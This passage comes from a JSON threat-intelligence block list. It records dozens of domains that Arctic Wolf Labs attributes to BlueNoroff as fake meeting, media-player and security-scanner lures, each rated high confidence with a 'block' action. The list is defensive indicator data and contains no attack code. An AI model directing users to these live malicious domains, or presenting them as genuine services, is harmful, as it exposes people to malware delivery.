"Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams07live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teams0live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teamscloud.us.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teamslive.cloud", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "teamslive.us.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "us02live.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "us05cloud.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "us05cloud.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "us05cloud.live", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "us09live.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "web-live.com.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "web-live.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "call-in.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "call-in.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "call-live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "call-on.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "call-room.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "meet-in.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "meet-on.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "meet-room.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "meet-room.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "meeting-on.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "room-live.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "room-meet.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "room-meet.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "room-on.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "room-on.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "team-meet.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "web-meet.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "web-teams.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "novaplayer.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "novaplayer.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "videolan.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "videolan.store", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "videoviewer.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "instantsecscan.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "instantsecscan.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ipblock.watch", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "scanmypc.online", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "scanmypc.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "securealliance.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "securemypc.life", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "securemypc.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "ashnote.blog", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", 